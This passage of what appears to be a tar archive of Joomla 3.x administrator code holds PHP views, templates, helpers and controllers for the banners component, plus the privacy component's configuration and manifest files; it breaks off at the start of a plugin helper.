								<a class="badge <?php if ($item->count_published > 0) echo 'badge-success'; ?>" href="<?php echo JRoute::_('index.php?option=com_banners&view=banners&filter[client_id]=' . (int) $item->id . '&filter[published]=1'); ?>">
									<?php echo $item->count_published; ?></a>
							</td>
							<td class="center btns hidden-phone hidden-tablet">
								<a class="badge <?php if ($item->count_unpublished > 0) echo 'badge-important'; ?>" href="<?php echo JRoute::_('index.php?option=com_banners&view=banners&filter[client_id]=' . (int) $item->id . '&filter[published]=0'); ?>">
									<?php echo $item->count_unpublished; ?></a>
							</td>
							<td class="center btns hidden-phone hidden-tablet">
								<a class="badge <?php if ($item->count_archived > 0) echo 'badge-info'; ?>" href="<?php echo JRoute::_('index.php?option=com_banners&view=banners&filter[client_id]=' . (int) $item->id . '&filter[published]=2'); ?>">
									<?php echo $item->count_archived; ?></a>
							</td>
							<td class="center btns hidden-phone hidden-tablet">
								<a class="badge <?php if ($item->count_trashed > 0) echo 'badge-inverse'; ?>" href="<?php echo JRoute::_('index.php?option=com_banners&view=banners&filter[client_id]=' . (int) $item->id . '&filter[published]=-2'); ?>">
									<?php echo $item->count_trashed; ?></a>
							</td>
							<td class="small hidden-phone">
								<?php if ($item->purchase_type < 0) : ?>
									<?php echo JText::sprintf('COM_BANNERS_DEFAULT', JText::_('COM_BANNERS_FIELD_VALUE_' . $purchaseTypes[$params->get('purchase_type')])); ?>
								<?php else : ?>
									<?php echo JText::_('COM_BANNERS_FIELD_VALUE_' . $purchaseTypes[$item->purchase_type]); ?>
								<?php endif; ?>
							</td>
							<td class="hidden-phone">
								<?php echo $item->id; ?>
							</td>
						</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_banners/views/clients/view.html.php000060400000006337152455305270014273 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('BannersHelper', JPATH_ADMINISTRATOR . '/components/com_banners/helpers/banners.php');

/**
 * View class for a list of clients.
 *
 * @since  1.6
 */
class BannersViewClients extends JViewLegacy
{
	/**
	 * An array of items
	 *
	 * @var  array
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var  JPagination
	 */
	protected $pagination;

	/**
	 * The model state
	 *
	 * @var  object
	 */
	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		BannersHelper::addSubmenu('clients');

		$this->addToolbar();
		$this->sidebar = JHtmlSidebar::render();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_banners');

		JToolbarHelper::title(JText::_('COM_BANNERS_MANAGER_CLIENTS'), 'bookmark banners-clients');

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::addNew('client.add');
		}

		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::editList('client.edit');
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::publish('clients.publish', 'JTOOLBAR_PUBLISH', true);
			JToolbarHelper::unpublish('clients.unpublish', 'JTOOLBAR_UNPUBLISH', true);
			JToolbarHelper::archiveList('clients.archive');
			JToolbarHelper::checkin('clients.checkin');
		}

		if ($this->state->get('filter.state') == -2 && $canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'clients.delete', 'JTOOLBAR_EMPTY_TRASH');
		}
		elseif ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::trash('clients.trash');
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_banners');
		}

		JToolbarHelper::help('JHELP_COMPONENTS_BANNERS_CLIENTS');
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key and display text as value
	 *
	 * @since   3.0
	 */
	protected function getSortFields()
	{
		return array(
			'a.status'    => JText::_('JSTATUS'),
			'a.name'      => JText::_('COM_BANNERS_HEADING_CLIENT'),
			'contact'     => JText::_('COM_BANNERS_HEADING_CONTACT'),
			'client_name' => JText::_('COM_BANNERS_HEADING_CLIENT'),
			'nbanners'    => JText::_('COM_BANNERS_HEADING_ACTIVE'),
			'a.id'        => JText::_('JGRID_HEADING_ID')
		);
	}
}
com_banners/views/client/view.html.php000060400000005534152455305270014106 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('BannersHelper', JPATH_ADMINISTRATOR . '/components/com_banners/helpers/banners.php');

/**
 * View to edit a client.
 *
 * @since  1.5
 */
class BannersViewClient extends JViewLegacy
{
	/**
	 * The JForm object
	 *
	 * @var  JForm
	 */
	protected $form;

	/**
	 * The active item
	 *
	 * @var  object
	 */
	protected $item;

	/**
	 * The model state
	 *
	 * @var  object
	 */
	protected $state;

	/**
	 * Object containing permissions for the item
	 *
	 * @var  JObject
	 */
	protected $canDo;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$this->form  = $this->get('Form');
		$this->item  = $this->get('Item');
		$this->state = $this->get('State');
		$this->canDo = JHelperContent::getActions('com_banners');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu', true);

		$user       = JFactory::getUser();
		$isNew      = ($this->item->id == 0);
		$checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->id);
		$canDo      = $this->canDo;

		JToolbarHelper::title(
			$isNew ? JText::_('COM_BANNERS_MANAGER_CLIENT_NEW') : JText::_('COM_BANNERS_MANAGER_CLIENT_EDIT'),
			'bookmark banners-clients'
		);

		// If not checked out, can save the item.
		if (!$checkedOut && ($canDo->get('core.edit') || $canDo->get('core.create')))
		{
			JToolbarHelper::apply('client.apply');
			JToolbarHelper::save('client.save');
		}

		if (!$checkedOut && $canDo->get('core.create'))
		{
			JToolbarHelper::save2new('client.save2new');
		}

		// If an existing item, can save to a copy.
		if (!$isNew && $canDo->get('core.create'))
		{
			JToolbarHelper::save2copy('client.save2copy');
		}

		if (empty($this->item->id))
		{
			JToolbarHelper::cancel('client.cancel');
		}
		else
		{
			if (JComponentHelper::isEnabled('com_contenthistory') && $this->state->params->get('save_history', 0) && $canDo->get('core.edit'))
			{
				JToolbarHelper::versions('com_banners.client', $this->item->id);
			}

			JToolbarHelper::cancel('client.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_COMPONENTS_BANNERS_CLIENTS_EDIT');
	}
}
com_banners/views/client/tmpl/edit.php000060400000004121152455305270014061 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
JHtml::_('behavior.formvalidator');
JHtml::_('formbehavior.chosen', 'select');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbutton = function(task)
	{
		if (task == "client.cancel" || document.formvalidator.isValid(document.getElementById("client-form")))
		{
			Joomla.submitform(task, document.getElementById("client-form"));
		}
	};
');
?>

<form action="<?php echo JRoute::_('index.php?option=com_banners&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="client-form" class="form-validate">

	<?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?>

	<div class="form-horizontal">
		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'general')); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'general', empty($this->item->id) ? JText::_('COM_BANNERS_NEW_CLIENT') : JText::_('COM_BANNERS_EDIT_CLIENT')); ?>
		<div class="row-fluid">
			<div class="span9">
				<?php
				echo $this->form->renderField('contact');
				echo $this->form->renderField('email');
				echo $this->form->renderField('purchase_type');
				echo $this->form->renderField('track_impressions');
				echo $this->form->renderField('track_clicks');
				echo $this->form->renderFieldset('extra');
				?>
			</div>
			<div class="span3">
				<?php echo JLayoutHelper::render('joomla.edit.global', $this); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'metadata', JText::_('JGLOBAL_FIELDSET_METADATA_OPTIONS')); ?>
		<?php echo $this->form->renderFieldset('metadata'); ?>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JHtml::_('bootstrap.endTabSet'); ?>
	</div>

	<input type="hidden" name="task" value="" />
	<?php echo JHtml::_('form.token'); ?>
</form>
com_banners/helpers/html/banner.php000060400000005333152455305270013426 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Banner HTML class.
 *
 * @since  2.5
 */
abstract class JHtmlBanner
{
	/**
	 * Display a batch widget for the client selector.
	 *
	 * @return  string  The necessary HTML for the widget.
	 *
	 * @since   2.5
	 */
	public static function clients()
	{
		JHtml::_('bootstrap.tooltip');

		// Create the batch selector to change the client on a selection list.
		return implode(
			"\n",
			array(
				'<label id="batch-client-lbl" for="batch-client" class="hasTooltip" title="'
					. JHtml::_('tooltipText', 'COM_BANNERS_BATCH_CLIENT_LABEL', 'COM_BANNERS_BATCH_CLIENT_LABEL_DESC')
					. '">',
				JText::_('COM_BANNERS_BATCH_CLIENT_LABEL'),
				'</label>',
				'<select name="batch[client_id]" id="batch-client-id">',
				'<option value="">' . JText::_('COM_BANNERS_BATCH_CLIENT_NOCHANGE') . '</option>',
				'<option value="0">' . JText::_('COM_BANNERS_NO_CLIENT') . '</option>',
				JHtml::_('select.options', static::clientlist(), 'value', 'text'),
				'</select>'
			)
		);
	}

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   1.6
	 */
	public static function clientlist()
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('id As value, name As text')
			->from('#__banner_clients AS a')
			->order('a.name');

		// Get the options.
		$db->setQuery($query);

		try
		{
			$options = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		return $options;
	}

	/**
	 * Returns a pinned state on a grid
	 *
	 * @param   integer  $value     The state value.
	 * @param   integer  $i         The row index
	 * @param   boolean  $enabled   An optional setting for access control on the action.
	 * @param   string   $checkbox  An optional prefix for checkboxes.
	 *
	 * @return  string   The Html code
	 *
	 * @see     JHtmlJGrid::state
	 * @since   2.5.5
	 */
	public static function pinned($value, $i, $enabled = true, $checkbox = 'cb')
	{
		$states = array(
			1 => array(
				'sticky_unpublish',
				'COM_BANNERS_BANNERS_PINNED',
				'COM_BANNERS_BANNERS_HTML_PIN_BANNER',
				'COM_BANNERS_BANNERS_PINNED',
				true,
				'publish',
				'publish'
			),
			0 => array(
				'sticky_publish',
				'COM_BANNERS_BANNERS_UNPINNED',
				'COM_BANNERS_BANNERS_HTML_UNPIN_BANNER',
				'COM_BANNERS_BANNERS_UNPINNED',
				true,
				'unpublish',
				'unpublish'
			),
		);

		return JHtml::_('jgrid.state', $states, $value, $i, 'banners.', $enabled, true, $checkbox);
	}
}
com_banners/helpers/banners.php000060400000011140152455305270012636 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Banners component helper.
 *
 * @since  1.6
 */
class BannersHelper extends JHelperContent
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public static function addSubmenu($vName)
	{
		JHtmlSidebar::addEntry(
			JText::_('COM_BANNERS_SUBMENU_BANNERS'),
			'index.php?option=com_banners&view=banners',
			$vName == 'banners'
		);

		JHtmlSidebar::addEntry(
			JText::_('COM_BANNERS_SUBMENU_CATEGORIES'),
			'index.php?option=com_categories&extension=com_banners',
			$vName == 'categories'
		);

		JHtmlSidebar::addEntry(
			JText::_('COM_BANNERS_SUBMENU_CLIENTS'),
			'index.php?option=com_banners&view=clients',
			$vName == 'clients'
		);

		JHtmlSidebar::addEntry(
			JText::_('COM_BANNERS_SUBMENU_TRACKS'),
			'index.php?option=com_banners&view=tracks',
			$vName == 'tracks'
		);
	}

	/**
	 * Update / reset the banners
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public static function updateReset()
	{
		$db       = JFactory::getDbo();
		$nullDate = $db->getNullDate();
		$query    = $db->getQuery(true)
			->select('*')
			->from('#__banners')
			->where($db->quote(JFactory::getDate()) . ' >= ' . $db->quote('reset'))
			->where($db->quoteName('reset') . ' != ' . $db->quote($nullDate) . ' AND ' . $db->quoteName('reset') . '!= NULL')
			->where(
				'(' . $db->quoteName('checked_out') . ' = 0 OR ' . $db->quoteName('checked_out') . ' = '
				. (int) $db->quote(JFactory::getUser()->id) . ')'
			);
		$db->setQuery($query);

		try
		{
			$rows = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());

			return false;
		}

		JTable::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR . '/tables');

		foreach ($rows as $row)
		{
			$purchaseType = $row->purchase_type;

			if ($purchaseType < 0 && $row->cid)
			{
				/** @var BannersTableClient $client */
				$client = JTable::getInstance('Client', 'BannersTable');
				$client->load($row->cid);
				$purchaseType = $client->purchase_type;
			}

			if ($purchaseType < 0)
			{
				$params = JComponentHelper::getParams('com_banners');
				$purchaseType = $params->get('purchase_type');
			}

			switch ($purchaseType)
			{
				case 1:
					$reset = $nullDate;
					break;
				case 2:
					$date = JFactory::getDate('+1 year ' . date('Y-m-d'));
					$reset = $db->quote($date->toSql());
					break;
				case 3:
					$date = JFactory::getDate('+1 month ' . date('Y-m-d'));
					$reset = $db->quote($date->toSql());
					break;
				case 4:
					$date = JFactory::getDate('+7 day ' . date('Y-m-d'));
					$reset = $db->quote($date->toSql());
					break;
				case 5:
					$date = JFactory::getDate('+1 day ' . date('Y-m-d'));
					$reset = $db->quote($date->toSql());
					break;
			}

			// Update the row ordering field.
			$query->clear()
				->update($db->quoteName('#__banners'))
				->set($db->quoteName('reset') . ' = ' . $db->quote($reset))
				->set($db->quoteName('impmade') . ' = ' . $db->quote(0))
				->set($db->quoteName('clicks') . ' = ' . $db->quote(0))
				->where($db->quoteName('id') . ' = ' . $db->quote($row->id));
			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				JError::raiseWarning(500, $db->getMessage());

				return false;
			}
		}

		return true;
	}

	/**
	 * Get client list in text/value format for a select field
	 *
	 * @return  array
	 */
	public static function getClientOptions()
	{
		$options = array();

		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('id AS value, name AS text')
			->from('#__banner_clients AS a')
			->where('a.state = 1')
			->order('a.name');

		// Get the options.
		$db->setQuery($query);

		try
		{
			$options = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		array_unshift($options, JHtml::_('select.option', '0', JText::_('COM_BANNERS_NO_CLIENT')));

		return $options;
	}

	/**
	 * Adds Count Items for Category Manager.
	 *
	 * @param   stdClass[]  &$items  The category objects
	 *
	 * @return  stdClass[]
	 *
	 * @since   3.5
	 */
	public static function countItems(&$items)
	{
		$config = (object) array(
			'related_tbl'   => 'banners',
			'state_col'     => 'state',
			'group_col'     => 'catid',
			'relation_type' => 'category_or_group',
		);

		return parent::countRelations($items, $config);
	}
}
com_banners/controllers/client.php000060400000001012152455305270013365 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Client controller class.
 *
 * @since  1.6
 */
class BannersControllerClient extends JControllerForm
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_BANNERS_CLIENT';
}
com_banners/controllers/banner.php000060400000004773152455305270013375 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Banner controller class.
 *
 * @since  1.6
 */
class BannersControllerBanner extends JControllerForm
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_BANNERS_BANNER';

	/**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		$filter     = $this->input->getInt('filter_category_id');
		$categoryId = ArrayHelper::getValue($data, 'catid', $filter, 'int');
		$allow      = null;

		if ($categoryId)
		{
			// If the category has been passed in the URL check it.
			$allow = JFactory::getUser()->authorise('core.create', $this->option . '.category.' . $categoryId);
		}

		if ($allow !== null)
		{
			return $allow;
		}

		// In the absence of better information, revert to the component permissions.
		return parent::allowAdd($data);
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		$recordId   = (int) isset($data[$key]) ? $data[$key] : 0;
		$categoryId = 0;

		if ($recordId)
		{
			$categoryId = (int) $this->getModel()->getItem($recordId)->catid;
		}

		if ($categoryId)
		{
			// The category has been set. Check the category permissions.
			return JFactory::getUser()->authorise('core.edit', $this->option . '.category.' . $categoryId);
		}

		// Since there is no asset tracking, revert to the component permissions.
		return parent::allowEdit($data, $key);
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   string  $model  The model
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	public function batch($model = null)
	{
		$this->checkToken();

		// Set the model
		$model = $this->getModel('Banner', '', array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_banners&view=banners' . $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}
}
com_banners/controllers/banners.php000060400000004667152455305270013562 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Banners list controller class.
 *
 * @since  1.6
 */
class BannersControllerBanners extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_BANNERS_BANNERS';

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JControllerLegacy
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);

		$this->registerTask('sticky_unpublish', 'sticky_publish');
	}

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Banner', $prefix = 'BannersModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}

	/**
	 * Stick items
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function sticky_publish()
	{
		// Check for request forgeries.
		$this->checkToken();

		$ids    = (array) $this->input->get('cid', array(), 'int');
		$values = array('sticky_publish' => 1, 'sticky_unpublish' => 0);
		$task   = $this->getTask();
		$value  = ArrayHelper::getValue($values, $task, 0, 'int');

		// Remove zero values resulting from input filter
		$ids = array_filter($ids);

		if (empty($ids))
		{
			JError::raiseWarning(500, JText::_('COM_BANNERS_NO_BANNERS_SELECTED'));
		}
		else
		{
			// Get the model.
			/** @var BannersModelBanner $model */
			$model = $this->getModel();

			// Change the state of the records.
			if (!$model->stick($ids, $value))
			{
				JError::raiseWarning(500, $model->getError());
			}
			else
			{
				if ($value == 1)
				{
					$ntext = 'COM_BANNERS_N_BANNERS_STUCK';
				}
				else
				{
					$ntext = 'COM_BANNERS_N_BANNERS_UNSTUCK';
				}

				$this->setMessage(JText::plural($ntext, count($ids)));
			}
		}

		$this->setRedirect('index.php?option=com_banners&view=banners');
	}
}
com_banners/controllers/tracks.php000060400000004364152455305270013413 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Tracks list controller class.
 *
 * @since  1.6
 */
class BannersControllerTracks extends JControllerLegacy
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $context = 'com_banners.tracks';

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Tracks', $prefix = 'BannersModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}

	/**
	 * Method to remove a record.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function delete()
	{
		// Check for request forgeries.
		$this->checkToken();

		// Get the model.
		/** @var BannersModelTracks $model */
		$model = $this->getModel();

		// Load the filter state.
		$app = JFactory::getApplication();

		$model->setState('filter.type', $app->getUserState($this->context . '.filter.type'));
		$model->setState('filter.begin', $app->getUserState($this->context . '.filter.begin'));
		$model->setState('filter.end', $app->getUserState($this->context . '.filter.end'));
		$model->setState('filter.category_id', $app->getUserState($this->context . '.filter.category_id'));
		$model->setState('filter.client_id', $app->getUserState($this->context . '.filter.client_id'));
		$model->setState('list.limit', 0);
		$model->setState('list.start', 0);

		$count = $model->getTotal();

		// Remove the items.
		if (!$model->delete())
		{
			JError::raiseWarning(500, $model->getError());
		}
		elseif ($count > 0)
		{
			$this->setMessage(JText::plural('COM_BANNERS_TRACKS_N_ITEMS_DELETED', $count));
		}
		else
		{
			$this->setMessage(JText::_('COM_BANNERS_TRACKS_NO_ITEMS_DELETED'));
		}

		$this->setRedirect('index.php?option=com_banners&view=tracks');
	}
}
com_banners/controllers/clients.php000060400000001777152455305270013572 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Clients list controller class.
 *
 * @since  1.6
 */
class BannersControllerClients extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_BANNERS_CLIENTS';

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Client', $prefix = 'BannersModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
com_banners/controllers/tracks.raw.php000060400000006566152455305270014211 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Tracks list controller class.
 *
 * @since  1.6
 */
class BannersControllerTracks extends JControllerLegacy
{
	/**
	 * The context for persistent state.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $context = 'com_banners.tracks';

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The name of the model.
	 * @param   string  $prefix  The prefix for the model class name.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Tracks', $prefix = 'BannersModel', $config = array())
	{
		return parent::getModel($name, $prefix, array('ignore_request' => true));
	}

	/**
	 * Display method for the raw track data.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  BannersControllerTracks  This object to support chaining.
	 *
	 * @since   1.5
	 * @todo    This should be done as a view, not here!
	 */
	public function display($cachable = false, $urlparams = array())
	{
		// Check for request forgeries.
		$this->checkToken('GET');

		// Get the document object.
		$vName = 'tracks';

		// Get and render the view.
		if ($view = $this->getView($vName, 'raw'))
		{
			// Get the model for the view.
			/** @var BannersModelTracks $model */
			$model = $this->getModel($vName);

			// Load the filter state.
			$app = JFactory::getApplication();

			$model->setState('filter.type', $app->getUserState($this->context . '.filter.type'));
			$model->setState('filter.begin', $app->getUserState($this->context . '.filter.begin'));
			$model->setState('filter.end', $app->getUserState($this->context . '.filter.end'));
			$model->setState('filter.category_id', $app->getUserState($this->context . '.filter.category_id'));
			$model->setState('filter.client_id', $app->getUserState($this->context . '.filter.client_id'));
			$model->setState('list.limit', 0);
			$model->setState('list.start', 0);

			$form = $this->input->get('jform', array(), 'array');

			$model->setState('basename', $form['basename']);
			$model->setState('compressed', $form['compressed']);

			// Create one year cookies.
			$cookieLifeTime = time() + 365 * 86400;
			$cookieDomain   = $app->get('cookie_domain', '');
			$cookiePath     = $app->get('cookie_path', '/');
			$isHttpsForced  = $app->isHttpsForced();

			$app->input->cookie->set(
				JApplicationHelper::getHash($this->context . '.basename'),
				$form['basename'],
				$cookieLifeTime,
				$cookiePath,
				$cookieDomain,
				$isHttpsForced,
				true
			);

			$app->input->cookie->set(
				JApplicationHelper::getHash($this->context . '.compressed'),
				$form['compressed'],
				$cookieLifeTime,
				$cookiePath,
				$cookieDomain,
				$isHttpsForced,
				true
			);

			// Push the model into the view (as default).
			$view->setModel($model, true);

			// Push document object into the view.
			$view->document = JFactory::getDocument();

			$view->display();
		}

		return $this;
	}
}
com_privacy/config.xml000060400000000547152455305270011060 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		name="privacy"
		label="COM_PRIVACY_OPTION_LABEL"
	>

		<field
			name="notify"
			type="integer"
			label="COM_PRIVACY_NOTIFY_LABEL"
			description="COM_PRIVACY_NOTIFY_DESC"
			first="1"
			last="29"
			step="1"
			default="14"
			filter="int"
			validate="number"
		/>

    </fieldset>
</config>
com_privacy/privacy.xml000060400000002512152455305270011262 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.9" method="upgrade">
	<name>com_privacy</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>COM_PRIVACY_XML_DESCRIPTION</description>
	<files folder="site">
		<filename>controller.php</filename>
		<filename>privacy.php</filename>
		<filename>router.php</filename>
		<folder>controllers</folder>
		<folder>models</folder>
		<folder>views</folder>
	</files>
	<languages folder="site">
		<language tag="en-GB">language/en-GB.com_privacy.ini</language>
	</languages>
	<administration>
		<files folder="admin">
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>privacy.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>tables</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_privacy.ini</language>
			<language tag="en-GB">language/en-GB.com_privacy.sys.ini</language>
		</languages>
	</administration>
</extension>

com_privacy/helpers/plugin.php000060400000007222152455305270012537 0ustar00<?php
/**
 * @package     Joomla.Administrator
